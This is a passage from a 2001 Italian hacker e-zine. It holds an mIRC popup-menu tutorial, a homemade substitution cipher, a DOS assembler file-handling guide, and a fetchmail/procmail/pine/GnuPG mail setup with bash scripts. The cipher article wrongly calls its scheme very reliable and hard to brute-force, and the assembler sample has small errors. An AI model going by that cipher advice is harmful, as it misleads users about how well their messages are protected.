il testo completo di alcuni esempi) | | | | Si noti anche che l'esempio "Set Away" utilizza linee di comandi multiple. | | | | Menu Gerarchici | | | | Se si aggiungono alcuni popup simili a quelli visti in precedenza, lo | | schermo si riempirà ogni volta che si esegue un click destro. È quindi | | possibile organizzare i vari popup in menu gerarchici. Si provi ad inserire | | i seguenti popup: | | | | | | Frasi | | .Hello:/say Ciao gente! | | .Goodbye:/say Addio gente! | | .Hug:/me da a $? un grande grande abbraccio | | | | Si specifica che gli ultimi tre comandi debbano apparire sotto "Frasi" | | tramite: 1) inserendoli dopo la voce "Frasi", nell'ordine nel quale si | | desidera che appaiono e 2) facendoli precedere tutti da "." <-- un punto. | | | | Quando si esegue un click destro si vedrà la voce di menu "Frasi". | | Selezionandola si vedranno le voci di menu "Hello", "Goodbye" ed "Hug". | | Selezionando una di queste voci si eseguiranno i comandi o le azioni | | precedentemente specificate. | | | | Se si desidera una cosa più complicata è possibile avere più livelli di menu | | popup. Ad esempio si provi: | | | | | | Commenti sulle Persone | | .Complimenti | | ..Simpatico:/say Wow, $? -- sei veramente simpatico oggi! | | ..Utili:/say Grazie per l'aiuto $? | | ..Amico:/say Sono felice di avere $? per amico. | | .Insulti | | ..Jerk:/say Lasciami in pace, jerk! | | ..Idiot:/me si domanda come faccia $? ad essere così idiota a volte. | | ..Enemy:/say Sono orgoglioso di avere $? come nemico! | | | | E così via! Basta solo ordinarli correttamente, utilizzando i punti. (se il | | metodo con cui sono organizzati le voci precedenti non vi è chiaro, | | provateli! Inserite i "commenti" precedenti sotto Tools/Popups. È più | | semplice capirli quando li si vede in funzione) | | | | Tutte le voci di menu popup possono anche essere assegnati ad un tasto | | Funzione! Questo è un metodo utile per accedere ai popup utilizzati più di | | frequente.... (Assicuratevi di utilizzare la sintassi corretta e di porli [i | | sostituti per i tasti funzione] nella sezione alias. | | | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #04 - 19/11/2001 | | ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M [BiGAlex] 0x1D/0x23 | +-------------------------------------------------------------------------------+ | | | Salve a tutti ragazzi...ultimamente stavo pensando di realizzare un | | algoritmo di criptazione che possa essere utile a tutti coloro che | | devono scambiarsi piccoli messaggi di testo (l'algoritmo può essere | | più facilmente crackato su lunghe frasi o comunque testi abbastanza | | lunghi). Questo algoritmo purtroppo è double-way, cioè richiede una | | sola chiave per essere decriptato (non come l'md5, il sistema di | | chiavi inventato dalla rsa, il cast o simili), tuttavia è mooolto | | affidabile. Vi spiegherò ora nel dettaglio il suo funzionamento: | | ad ogni carattere ascii è associato un carattere ascii a caso | | (quindi non consecutivo come il rot13 che può essere crackato molto | | facilmente). Il carattere ascii assegnato non può però ripetersi | | (tra i 256 caratteri ascii non si possono assegnare due 45 ad esempio!!). | | Tutti i caratteri vengono salvati in un file, il file chiave, col | | quale sarà possibile decodificare qualcosa codificato o possiamo | | codificare qualcosa :) | | Tuttavia l'algoritmo avevo detto che era random o sbaglio? Allora, | | per complicare un pò le cose ho deciso (ihihih povero cracker) di | | non far sì che tutte le a (sempre esempio) codificate possano | | corrispondere ad un singolo carattere ascii...(bastardità occulta ihih), | | ma col variare del testo cambierà anche la codifica...umh...mi spiego | | meglio, prima con 1 esempio e poi con la 'regola'. | | | | Dobbiamo codificare 'ciao' e codificandolo semplicemente con la | | chiave di cui parlavo prima esce fuori 'tsur' ok? Beh...ora se | | codificassi in tutto il testo la c con la t la i con la s ecc ecc | | mi troverei una specie di 'settimana enigmistica', dove man mano | | devo decodificare un testo, un'addizione o cmq avete capito :D | | | | Per complicare ulteriormente quindi ho pensato di nn far sì che ciò | | succeda, ma che magari alla a possa corrispondere l'intero set di | | caratteri ascii. Direte voi 'Sei un genio, così poi o 1. devo avere | | una chiave enorme, o 2. nn decodificherò mai +!', ed è qui invece | | che vi sbagliate (grazie, se nn sapete l'algoritmo e nn siete | | mago silvan voglio vedere ihihihi ;-)) | | L'algoritmo quindi lo complichiamo un pò facendo così: | | codifichiamo normalmente e poi facciamo una 'seconda passata' di | | codifica...richiederà un pò più di tempo ma sarà proprio sicuro :) | | Allora...prendiamo il codice ascii della prima lettera e lo mettiamo | | in una variabile. Andiamo alla seconda lettera e sottraiamo al suo | | codice ascii quello della prima, memorizziamo il nuovo codice ascii | | nella variabile doveva avevamo messo quello della prima e procediamo | | allo stesso modo. Le 'a' resteranno uguali? No, sarà casuale...ihiih | | Ciao cracker! :) | | | | Vi voglio ricordare che se fate quest'ultimo passo sarà più facile per | | il cracker risalire alla chiave (ora non vi sto a spiegare xchè.. | | io ci sono stato 1 giornata intera a pensarci...ecco come mai a volte | | sklero :), quindi vi consiglio di codificare prima e successivamente | | modificare il tutto. Un'altra cosa che vi sconsiglio di fare è mettere | | intestazioni alla codifica: il cracker capirebbe più facilmente il tipo | | di algoritmo utilizzato e si attrezzerebbe di conseguenza. Un'altra cosa | | da evitare di fare è drog..scusate...volevo dire (ihihihi) cominciare | | il testo con le stesse parole, con spazi o comunque in modi uguali | | (come i miei tutorials...hihiih). Così facendo aiuterete il cracker a | | decodificare la chiave! | | | | Per la decodifica: basta fare il tutto a ritrorso...prima rifare la | | 'seconda passata' (che ora sarà la prima quindi), cioè aggiungere al | | secondo carattere il primo ecc ecc, poi successivamente abbinare al | | codice ascii di codifica quello di decodifica...insomma è molto semplice. | | | | | | Per quanto riguarda i metodi di attacco a ciò che è criptato...beh, | | l'unico problema sono gli eseguibili: cominciano tutti allo stesso modo | | (fare edit nomeprogramma.exe x vedere!). Così permettono al cracker di | | ricavare più facilmente la mappa dei caratteri criptati...vabbè ma cmq | | io avevo detto che questa era una codifica per il testo, non per | | programmi, no? L'attacco di tipo brute-force è praticamente impossibile, | | se non appunto per i programmi e per documenti dei quali si conosce già | | l'intestazione. Quello che potrebbe essere più fruttuoso come attacco | | dovrebbe essere il dictionary attack, ma senza conoscere neppure la | | codifica degli spazi, è estremamente difficile escludere una parola e | | cercare di decodificarla (oltretutto ciao ha la stessa codifica casuale | | di miao mico tipo e tutte le parole senza doppie di quattro parole!). | | Il problema però può diminuire a partire dalle parole più lunghe tipo | | decodificatore encryption joyenergizer (bel brano tekno hihi). Sconsiglio | | a tutti quindi di usare paroloni ('gnurant rulez ihih). | | | | Ragazzi, un tutorial tanto lungo non l'ho mai scritto... poi va a finire | | che faccio gli incubi... mi fermo qui :P | | ihihhi | | | | | | | | ----==[Saluti!]==---- | | | | Dato che non ho proprio nulla da fare, ho deciso di salutare (lo so, il | | senso non c'è ma fate conto che ci sia, sto confondendo la pula hihihi) | | tutto il canale #hack, #tcc, #hackjam, #newbie (ragà leggetevi sto tutorial | | poi andate vicino ai vostri genitori e dite 'guardaaaa tu questo non lo | | saiii', | | come i bambini di 4 anni (scherzo hihih, di 3 ahahhaha)...intanto mi vorrei | | scusare con tutti i lettori per l'alto tasso di tossicità che è in me in | | questo momento (forse saranno i rifiuti radioattivi di ieri sera sullo | | stomaco? boh, non so hahahah ihhiih) ragazzi levatemi il gas esilarante | | non ce la accio +!! devo scrivere i saluti hahahah hihiih | | [connessione persa] | | | | | | | | | | | | | | | | | | | | | | | | | | hahahah ci siete cascati heh? ihhihih | | allora...un salutone va a gioker84, earthone, Net_Digger, bartx, magicnto, | | fabius63 | | (un prete che mi voleva convertire hahahah), feltonspray (nn potevi mancare | | felt! :), | | HoLaZ, LordMirror, Lord_Goliath, MightyInquisitor, Morning Star ('ciao, sono | | una cozza, anche io ascolto RIN' hahahahahhah), SPYRO (non potevi mankare | | nemmeno tu hih), kEwL`, Odin_Eidolon, Pit, Quasar, [Delilah], X3L4 e Zorks. | | Ciao a tutti quelli che ho dimenticato (nei log del mirc nn c'erano! :) | | | | byeeeeeee! (ihiih oggi sto proprio male ahhahahah) | | -- | | BiGAlex | | E-Mail: totalmeltdown@libero.it | | SiTE: bigalex.cjb.net o bigalex.3000.it (il primo ieri nn andava...boh...) | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #04 - 19/11/2001 | | GESTiONE DEi FiLE iN ASSEMBLER [bondo] 0x1E/0x23 | +-------------------------------------------------------------------------------+ | | | ============================================================================ | | | | L' A N G O L O D E L L A C U L T U R A | | | | - - - - - - | | | | gestione dei file in assembler | | | | by bondo | | | | ============================================================================ | | | | | | | | | | ...liberamente tratto dai miei appunti di sistemi... | | | | | | | | | | Responsabile di tutte queste belle cosucce che possiamo fare con i file è | | il nostro caro interrupt 21h. | | Veniamo al succo e vediamo subito le operazioni basilari da compiere sui | | file. | | | | (nota: questa non è una guida per imparare l'assembler - richiede un minimo | | di conoscenza) | | | | | | | | * CREAZiONE Di UN FiLE | | ********************** | | | | AH = 3Ch | | CX = attributo | | DS:DX = offset nomefile | | | | In CX mettiamo l'attributo del file da creare, che può essere: | | 0 -> archivio (file normale) | | 1 -> sola lettura | | 2 -> nascosto | | 4 -> file di sistema | | | | DS:DX punta a una stringa contenente il nome del file da creare. | | | | Come facciamo a sapere se l'operazione si è conclusa come volevamo?!?! | | Testiamo il flag di carry. | | | | CF = 0 è andato tutto bene | | CF = 1 si è verificato un errore | | | | AX contiene il codice d'errore: | | 3 -> path non corretto | | 4 -> non disponibile | | 5 -> accesso negato | | | | Se il file esiste già viene troncato a null (in pratica, il file è vuoto). | | | | | | | | Vediamo un esempio veloce di come creare un file. | | | | | | | | .DATA | | nomefile DB "beppe.dat", 0h | | .CODE | | MOV AH, 3Ch | | MOV CX, 00h | | MOV DX, OFFSET nomefile | | INT 21h | | | | | | | | MOV DX, OFFSET nomefile | | può essere sostituita con | | LEA DX, nomefile | | | | Le due scritture sono esattamente equivalenti. Nel caso non usiate le | | direttive semplificate siete costretti a utilizzare la seconda istruzione | | in quanto l'assemblatore non 'capisce' il significato di OFFSET. | | | | Adesso verifichiamo anche che tutto si sia concluso come speravamo. | | | | | | ... | | INT 21h | | JNC corretto | | ; si è verificato un errore | | corretto: | | ; l'istruzione è stata eseguita correttamente | | | | | | | | Subito dopo la chiamata all'int testiamo il carry. Se si è verificato un | | errore, ad esempio, potremmo fa stampare una stringa, così: | | | | | | | | .DATA | | nomefile DB "beppe.dat", 0h | | errore DB "Errore!!", 0h | | .CODE | | MOV AH, 3Ch ;apre il file | | MOV CX, 00h | | MOV DX, OFFSET nomefile | | INT 21h | | JNC file_creato | | MOV AH, 09h ;stampa la stringa | | MOV DX, OFFSET errore | | INT 21h | | MOV AX, 4C00h ;torna al dos | | INT 21h | | | | file_creato: | | ;... | | | | | | | | | | Spero di essere stato chiaro. | | Qua di seguito tutte le altre operazioni che possiamo compiere. | | | | | | | | * APERTURA Di UN FiLE | | ********************* | | | | AH = 3Dh | | AL = metodo d'accesso | | 0 -> sola lettura | | 1 -> sola scrittura | | 2 -> lettura/scrittura | | DS:DX = offset nomefile | | | | CF = 0 AX contiene l'handle del file | | CF = 1 AX contiene il codice d'errore: | | 2 -> file non trovato | | 3 -> path non trovato | | 4 -> handle non disponibile | | | | | | * CHiUSURA Di UN FiLE | | ********************* | | | | AH = 3Eh | | BX = handle del file da chiudere | | | | | | * LETTURA DA UN FiLE | | ******************** | | | | AH = 3Fh | | BX = handle del file da cui leggere | | CX = n° di bytes da leggere | | DS:DX = puntatore al buffer in cui mettere i bytes letti | | | | CF = 0 AX = n° bytes letti | | CF = 1 AX = codice errore | | 5 -> accesso negato | | 6 -> handle non valido | | | | | | * SCRiTTURA SU UN FiLE | | ********************** | | | | AH = 40h | | BX = handle del file su cui scrivere | | CX = n° di bytes da scrivere | | DS:DS = puntatore al buffer che contiene i bytes da scrivere | | | | CF = 0 AX = n° bytes scritti | | CF = 1 AX = codice errore | | | | | | * ELiMiNARE UN FiLE | | ******************* | | | | AH = 41h | | DS:DX = puntatore alla stringa che contiene nomefile e path | | | | CF = 0 file eliminato | | CF = 1 AX = codice errore | | 2 -> file non trovato | | 5 -> accesso negato | | | | | | Fine. | | Volete un esempio?!?! Ecco! Il programmino seguente crea un file PLUTO.TXT, | | lo apre e ci scrive dentro una stringa, poi lo chiude. | | | | | | | | .286 | | .MODEL SMALL | | .DATA | | filepluto DB "PLUTO.TXT", 0h | | filenncreato DB "Errore creazione file", 0h | | filennaperto DB "Errore apertura file", 0h | | buffer DB "Buffer dei dati da scrivere.", 0h | | buffernnscritto DB "Buffer non scritto.", 0h | | | | .CODE | | .STARTUP | | ; *** crea PLUTO.TXT *** | | MOV AH, 3Ch | | MOV CX, 00h | | MOV DX, OFFSET filepluto | | INT 21h | | JNC file_creato | | MOV AH, 09h | | MOV DX, OFFSET filenncreato | | INT 21h | | JMP fine | | | | file_creato: | | ; *** apre PLUTO.TXT *** | | MOV AH, 3Dh | | MOV CX, 01h | | MOV DX, OFFSET filepluto | | INT 21h | | JNC file_aperto | | MOV AH, 09h | | MOV DX, OFFSET filennaperto | | INT 21h | | JMP fine | | | | file_aperto: | | ; *** scrivi il path *** | | MOV AH, 40h | | MOV CX, 29d ;bytes da scrivere | | MOV DX, OFFSET buffer | | INT 21h | | JNC buffer_scritto | | MOV AH, 09h | | MOV DX, OFFSET buffernnscritto | | INT 21h | | JMP fine | | | | buffer_scritto: | | ; *** chiude il file *** | | MOV AH, 3Eh | | NT 21h | | | | fine: | | .EXIT | | END | | | | | | | | | | | | * FiLE POiNTER | | ************** | | | | Adesso vediamo come spostarci in un file con il file pointer. | | | | | | AH = 42h | | AL = posizione | | 0 -> inizio (equivale a SEEK_SET del C) | | 1 -> posizione corrente (SEEK_CUR) | | 2 -> fine (SEEK_END) | | BX = handle del file | | CX = MSD dell'offset sul file | | DX = LSD dell'offset sul file | | | | CF = 0 DX:AX = posizione settata | | CF = 1 AX = codice errore | | | | | | | | Funziona esattamente come la funzione fseek del C. | | Perchè l'offset del puntatore occupa 2 registri? Facciamo 2 conticini... | | | | con 8 bit possiamo indirizzare 2^8 bytes -> 256 bytes | | con 16 bit i bytes indirizzabili sono 2^16 -> 65536 bytes (64k) | | con 32 bit (i due registri affiancati) possiamo indirizzare 2^32 bytes | | (4.096 mb) | | | | Questo vuol dire che possiamo gestire file grandi fino a 4 giga. Con soli | | 16bit, | | la dimensione di un registro, arriveremmo al massimo a 64k di dimensione | | massima | | del file gestibile. Per un file da 1mb servono 20bit. Tutto qua. | | | | | | | | ============================================================================ | | | | bondo - bondo@marijuana.com | | | | ============================================================================ | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #04 - 19/11/2001 | | LA DURA ViTA DEi P0STiNi [lesion] 0x1F/0x23 | +-------------------------------------------------------------------------------+ | | | **INTRO** | | Dopo lunghi skleri a configurare fetchmail, pine, procmail, gnupg, sendmail, | | cazzi, mazzi ecc... ho deciso di scrivere un articolo ke aiuti i newbies a | | intrapendere la lunga karriera di postini ke gli si protrarra' nel futuro, | | facendo particolare attenzione all'uso di sistemi di criptazione quali ssl e | | pgp. Naturalmente raccontero' solo le cose ke io ho fatto perke' mi | | sembravano utili oppure perke' mi trovavo bene cosi'. | | *************** | | | | **INGREDIENTI** | | pine: www.washington.edu/pine/ | | fetchmail: www.tuxedo.org/~esr/fetchmail/ | | openssl (www.openssl.org) | | procmail www.procmail.org) | | gnupg (www.gnupg.org) | | ************************** | | | | **DOVE DOBBIAMO ARRIVARE** | | Alla fine di quest'articolo sarai in grado bene o male di: | | -mandare e ricevere la posta | | -smistare la posta in varie cartelle | | -usare fetchmail anke per protocolli ke supportano ssl | | -mandare e ricevere email criptate con Gnupg | | -fare uno script ke automatizzi il tutto e notifiki | | l'arrivo di eventuali email | | ********* | | | | **TEORY** | | Se hai installato tutti i programmi sei a cavallo.... Iniziamo col dire ke | | NON ti serve per forza un MTA per ricevere posta. Un MTA e' un Mail | | Transfer | | Agent, quei programmi del tipo sendmail, postfix e cmq tutti quei demoni ke | | solitamente ascoltano sulla 25 e aspettano ke qlcno si connetta e con il | | protocollo SMTP mandi un'email. Molte guide indicano ke bisogna | | utilizzarli, | | ma noi nn lo faremo perke' 1)occupiamo meno risorse 2)dovremmo configurarli | | 3)un servizio in meno da patchare per eventuali bachi. Ora..i programmi | | sopracitati hanno tutti un loro compito specifico. Fetchmail si occupa di | | connettersi al server su cui voi avete la casella di posta e in base alle | | opzioni ke voi mettete nel file di configurazione, decide come metterla in | | locale, quindi usa o un MTA oppure un MDA (Mail Delivery Agent). Un MDA, a | | differenza di un MTA nn sta' in ascolto su una porta, e quindi viene | | eseguito solamente quando arriva un'email da smistare. L'MDA ke useremo e' | | procmail, ke si occupa oltre di recapitare le email, anke di suddividerle | | in | | varie cartelle in base a delle rules settate da voi nel file di | | configurazione e di molte altre cosette molto carine ke pero' qui nn | | vedremo. Dopo ke procmail ha salvato su file le email passategli da | | fetchmail, ora ci vuol un programma per leggerle. Questo e' pine (ce ne sono | | molti altri ma come ho detto sopra, descrivo solo quello ke uso io), un | | client testuale molto intuitivo e pieno di opzioni, quindi molto | | personalizzabile. L'unica cosa contestabile a pine e' ke nn e' totalmente | | free, e per cui molte persone preferiscono usare mutt (prima o poi | | cambiero' | | pure io :). | | ************** | | | | **COMINCIAMO** | | Dopo un po' di spiega..ora inizia il bello. | | -Configurazione fetchmail: | | Il file di configurazione di fetchmail e' cercato dallo stesso nella home | | dell'utente ke lo esegue ed ha nome .fetchmailrc (ricordarsi il punto). La | | sua struttura e' molto semplice: | | -------- | | poll POP.TUOPROVIDER.IT proto pop3 user "NOMEUTENTE" password \ | | "TUAPASSWORD" is "NOMEUSER" here mda "/usr/bin/procmail -d NOMEUSER" | | ------- | | dove POP.TUOPROVIDER.IT e' l'host del tuo provider, ad esempio virgilio.it | | se avete l'email su virgilio, tiscali.it, infostrada.it, tin.it ecc.... | | il proto e' il protocollo usato...io uso il pop3 perke' il provider della | | mia casella di posta usa il pop3. Quando vi iscrivete, il provider vi da' | | le info necessarie..quindi anke il protocollo ke usa, ma se proprio nn ve | | lo ricordate e nn ve lo siete segnato, mettete auto al posto di pop3. | | NOMEUTENTE e' l'user dell'email, quindi se ad esempio avete come email | | lesion@autistici.org , l'user e' lesion, ovvero la parte prima della @. | | la PASSWORD e' ovviamente la password e il NOMEUSER e' il nome dell'utente | | a | | cui volete venga recapitata la posta. se ad esempio siete nella shell e | | vedete qlcsa tipo | | | | [lesion@pippo]~$ | | | | vuol dire ke l'utente e' lesion. l'mda abbiamo gia' detto cos'era prima e | | NOMEUSER e' lo stesso di prima. Con questo...ora quando siamo collegati ad | | internet, se lanciamo fetchmail, lui controlla se c'e' .fetchmailrc nella | | nostra home, lo apre, vede dove deve connettersi (e lo fa), vede l'user e | | lo | | manda, vede la password e la manda, e poi passa tutto a procmail. | | | | -Configurazione procmail: | | Il file di configurazione di procmail e' .procmailrc e come sopra, deve | | stare | | nella tua home. Le regole per la sua creazione nn sono semplici come quelle | | di | | fetchmail, infatti presenta un'infinita' di opzioni e controopzioni ke noi | | nn vedremo. | | ------- | | MAILDIR=/home/lesion/mail/ | | LOGFILE=maillog #solo per le prime volte .. poi levatelo | | | | :0 | | * ^Reply-To: underscore_to@ecn.org | | Underscore | | | | :0 | | * ^Subject: *SPAM* | | /dev/null | | | | :0 | | inbox | | | | exit | | -------- | | MAILDIR e' la directory dove verranno conservate le email. Assicuratevi | | della | | sua esistenza, se nn esiste, createla con mkdir mail LOGFILE e' un file | | dove | | vengono memorizzate tutte le operazioni fatte da procmail quando smista la | | posta, quindi se notate qualke comportamento strano, trovate email in | | cartelle dove nn dovrebbero esserci o nn le trovate proprio vuol dire ke | | c'e' qlcsa ke nn va' e quindi voi controllate questo file. Come da | | commento, | | usatelo solo le prime volte, poi potete pure levarlo. | | | | :0 inserisce una nuova regola. | | ^ indica l'inizio di una righa. | | La prima regola dice: | | | | Se all'inizio di una righa degli header trovi la stringa "Reply-To: | | underscore_to@ecn.org" mettimela nella cartella Underscore (ke si trovera' | | poi in /home/lesion/mail/Underscore). La seconda rules elimina (sposta in | | /dev/null) tutte le email ke hanno la parola SPAM da qualke parte nel | | subject. L'ultima dice ke tutte le altre vanno messe in inbox. Naturalmente | | potrete fare tutte le rules ke vorrete, e sono molto comode da utilizzare | | se | | siete iscritti a molte mailing list come il sottoscritto.Per + info man | | procmailex(5) | | | | -Configurazione pine: | | Pine e' il programma ke utilizzeremo per leggere e spedire email. | | Iniziamo con configurare le opzioni a nostro piacimento. | | Setup->Config (premete S e C) | | | | Personale Name: | | lesion | | | | User domain: | | mettete il dominio della vostra email (quello di lesion@autistici.org | | e' autistici.org) | | | | smtp server: per spedire email avrete bisogno di un server per mandarle. Se | | avete un account tiscali potreste mettere smtp.tiscali.net o cmq l'smtp del | | provider ke vi offre la casella di posta ke sicuramente ne avra' uno. | | | | nntp-server: | | lasciamolo stare ... serve per le news... | | | | inbox-path: | | /home/lesion/mail/inbox | | (ovvero dove procmail mette le email di default) | | | | incoming-archive-folders: | | mail/ | | (ovvero dove va' a cercare le cartelle dove vengono messe le email) | | | | Per ora basta...premiamo E e poi y. Ora dobbiamo creare le eventuali | | cartelle | | in cui le email verranno smistate..quindi andate su Folder List e aggiungete | | (con A) tutte le cartelle in cui verranno smistati i messaggi. Ricordatevi | | ke | | linux e' keys-sensitive quindi okkio a minuscole e maiuscole. Ora possiamo | | finalmente provare il tutto. Usciamo da pine con q e connettetevi. Premete | | fetchmail -vk le vk opzioni servono rispettivamente per: | | -v verbose mode..ovvero printa su skermo tutto quello ke | | succede..quindi anke eventuali errori in modo ke sappiate bene o male | | dove avete sbagliato (ad esempio il file di configurazione) | | -k keep e' consigliato la prima volta ke si prova....pratikamente | | scarica la posta ma nn la elimina dal server...quindi in caso di problemi | | avrete le copie delle email ancora intatte sulla vostra mailbox. Ora aprite | | di nuovo pine e vedete se vi sono arrivate nuove email. Per la | | configurazione | | di pine vi lascio spaziare...e' molto configurabile..persino nei colori | | (Setup->Kolor (premere S e K)). Ricordatevi ke ogni rules ke vorrete | | aggiungere in .procmailrc, dovrete prima aggiungere la cartella in pine, | | altrimenti nn andra' mai un cazzo. Se avete un provider ke supporta il | | protocollo ssl, vi consiglio vivamente di utilizzarlo, basta avviare | | fetchmail con l'opzione --ssl (fetchmail deve essere compilato con ssl | | e quindi dovete avere anke openssl installato da qualke parte). | | ************************************** | | | | **Utilizzo di Gnupg per email sicure** | | L'utilizzo di Gnupg e' una stronzata da aggiungere a pine. Se siete degli | | c-coder vi potete sbizzarrire alla grande, ma si puo' benissimo fare il | | tutto in bash-script. Dalla versione 3.92, pine supporta l'uso di filtri per | | le email in arrivo e per quelle mandate. Noi possiamo sfruttare questa | | possibilita' per criptare i messaggi con il Gnupg un programma di | | crittografia troppo avanti. Non e' scopo di questo articolo ne' insegnare il | | bash-script, ne' l'utilizzo di Gnupg, altrimenti finiamo domani, e poi devo | | andare a mangiare, cmq saranno spiegati i fondamenti (minkia gia' 207 righe | | :(). Per attivare i filtri andiamo nuovamente nelle opzioni di pine, e | | andando verso il fondo troviamo display-filters e sending-filters. La prima | | serve per settare le regole con cui visualizzare i messaggi, mentre la | | seconda serve per quelli in uscita. Premiamo Add Value su display-filters e | | scriviamo: | | | | _BEGINNING("-----BEGIN PGP MESS")_ ~/.gnupg/gpgdecrypt | | | | praticamente, tutti i messaggi ke all'inizio hanno quella stringa, li passa | | al programma ke specifikiamo dopo, un programma ke dopo ci appresteremo a | | fare noi. | | Sempre in display-filters, mettiamo un'altra voce: | | | | _BEGINNING("-----BEGIN PGP SIGN")_ ~/.gnupg/gpgdecrypt | | | | ke serve per verificare le firme. | | Ora ci spostiamo in sending-filters e mettiamo: | | | | ~/.gnupg/gpgencrypt _RECIPIENTS_ | | ~/.gnupg/gpgsign _RECIPIENTS_ | | | | la prima riga serve per codificare il messaggio, gpgencrypt e' sempre un | | programma ke faremo noi dopo,e _RECIPIENS_ e' la variabile del | | destinatario, | | in modo ke gnupg possa identificare la sua public key. gpgsign e' invece un | | prog. ke oltre ke criptare, firma anke digitalmente il messaggio ke stiamo | | spedendo con la mia secret-key, in modo ke il destinatario e' sicuro ke | | sono | | stato io a scriverlo. D'ora in poi, quando spediremo un messaggio con | | pine..potremo farlo in 3 modi, unfiltered, ovvero con il testo in kiaro, | | gpgsigned quindi con la nostra firma, in modo ke il destinatario sia sicuro | | ke il messaggio l'abbiamo scritto proprio noi e gpgencrypt, ovvero | | cryptarlo. Per cambiare modalita' basta premere mentre state mandando il | | messaggio le freccette su' e giu'. Vediamo i semplici script. | | | | --gpgencrypt--(cripta) | | #!/bin/bash | | gpg --encrypt --armor --recipient $1 | | -------------- | | | | in breve....tutto quello ke arriva dallo stdin (ovvero quello ke gli passa | | pine quando manda un'email), viene passato a gpg, ke lo cripta (--encrypt) | | con la kiave pubblica del ricevente (--recipient $1), dove $1 e' il primo | | argomento passatogli da pine (ovvero il destinatario o | | _RECIPIENTS_).L'opzione armor serve per creare un output in formato ascii, | | in modo ke sia possibile mandarlo. | | | | --gpgsign--(cripta e firma) | | #!/bin/bash | | gpg -sear $1 | | ----------- | | | | questo cripta e firma il messaggio ke gli arriva da pine. Ricordo ke per | | verifikare la veridicita' del messaggio il destinatario deve possedere la | | vostra public key. | | s: sign (firma) | | e: encrypt (cripta) | | a: armor (lo mette in ascii) | | r: recipients (il destinatario) | | | | --gpgdecrypt-- (decripta e verifika le firme) | | #!/bin/bash | | gpg 2> err > out | | if grep "gpg: Signature made" err > /dev/null; then | | if grep "gpg: Good signature from" err > /dev/null; then | | echo "/-------------\\" | | echo "| Firma valida|" | | echo "\\-------------/" | | else | | echo "/--------------------\\" | | echo "| FIRMA NON VALIDA!! |" | | echo "\\--------------------/" | | fi | | else | | echo "/-----------------------\\" | | echo "| Messaggio non firmato |" | | echo "\\-----------------------/" | | fi | | cat out | | rm out | | rm err | | ----------- | | | | Se avviamo gpg, di default lui attiva l'opzione --decrypt, quindi possiamo | | anke tralasciarla. la prima riga quindi, piglia il messaggio criptato ke gli | | arriva da pine e lo passa a gpg ke provvede a decriptarlo e a verificarne | | eventuali firme. Tutto l'output viene messo in stdout (file descriptor ke | | viene letto poi da pine per visualizzare il messaggio in kiaro), pero' se | | ci | | sono problemi noi nn possiamo vedere niente, quindi redirezioniamo | | l'stderr | | con 2> su un file ke kiamiamo err, ed il resto su out (quindi il messaggio | | in kiaro di kui parlavamo prima), in modo ke potremmo analizzare il suo | | contenuto con un grep. Infatti e' quello ke facciamo,se troviamo una firma | | (Signature made) controlliamo se e' good, quindi valida e printiamo su | | stdout un messaggio ke ce lo dice, altrimenti il messaggio opposto. Infine | | cattiamo il file dove avevamo messo l'output ed eliminiamo i file ke nn ci | | servono +. | | ***************************************************** | | | | | | **Automizzare lo scaricamento e la notifica di mail** | | Con l'attuale configurazione, per monitorare l'eventuale arrivo di email | | dobbiamo premere fetchmail e poi aprire pine, ma visto ke possiamo | | automatizzare il tutto, perke' nn lo facciamo? Ecco un semplice script in | | bash ke avvierete all'avvio (mettendelo in .bash_profile se usate bash) per | | stare tranquilli e ricevere la posta automaticamente (il tutto | | rigorosamente | | commentato): | | | | ---scarica--- | | #!/bin/sh | | #scrive in un file temporaneo il numero di processi kiamati scarica | | ps -e | grep "scarica" | wc -l > /tmp/numprocscarica | | #e lo mette dentro la variabile proc. | | proc=`cat /tmp/numprocscarica` | | #elimina il file temporaneo | | rm /tmp/numprocscarica | | #se il numero di processi e' > di 1 | | if [ $proc -gt 1 ] ; then | | #esce | | exit | | fi | | #altrimenti controlla le email presenti | | nummail=`grep "From lesion" /home/lesion/mail/* | wc -l` | | #loop infinito | | while true ; do | | #se siamo connessi | | if `ifconfig | grep "inet addr" | grep -v "127.0.0.1"`; then | | #scarica la posta | | `fetchmail -FK --ssl &> /dev/null` | | #controlla di nuovo quante email ci sono | | nnummail=`grep "From lesion" /home/lesion/mail/* | wc -l` | | #e ne sottrae quelle ke avevamo all'inizio | | #cosi' sappiamo quello nuove | | new=`perl -e "print($nnummail-$nummail)"` | | #e aggiorniamo il valore | | nummail=$nnummail | | #infine facciamo tanti beep quanti le email nuove | | `beep $new`; | | fi | | #aspetta un minuto per controllare nuovamente se siamo connessi | | #e ripetere il ciclo infinitamente :) | | sleep 1; | | done | | ------------ | | | | In sostanza e' un ciclo infinito ke parte solo se e' la prima volta ke viene | | avviato. Controlla se siamo connessi e scarica la posta. Ricordatevi ke la | | stringa "From lesion" e' presente perke' e' la formattazione ke usa | | procmail | | con l'opzione -d lesion, se usate altri metodi, sbattetevi a cercare | | stringhe | | univoke per ogni email. Per fare la sottrazione uso il perl perke' nn | | conosco | | nessun modo per farlo in bash (se ne sapete uno saro' grato di ricevere una | | vostra email). Il programma beep e' un prog. del cazzo di 5 righe fatto in | | c, ke lo uso per tante piccole cosette. eccolo qui: | | | | ---beep.c--- | | #include <stdio.h> | | void main(int argc,char *argv[]){ | | int i; | | if (argc<2) i=1; | | else | | i=atoi(argv[1]); | | for (;i!=0;i--){ | | printf("%c",7); | | fflush(stdout); | | sleep(1); | | } | | } | | ------------ | | | | praticamente stampa il settimo carattere ascii ke sulla mia box provoca un | | beep. Ce ne sono molti altri, soprattutto tra i primi 30 ke fanno beepare, | | quindi nn e' molto significativo. per fflush, man fflush :) For now is | | all....credo di aver parlato pure troppo.... Naturally, per eventuali | | insulti, domande, cazzi, mazzi ecc... emailatemi a lesion@autistici.org | | byz lesion - lesion@autistici.org - | | www.autistici.org/underscore/acari/lesion | | Stay tuned | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #04 - 19/11/2001 | | GUiDA PRATiCA ALLE REGULAR EXPRESSi0N [Domin3] 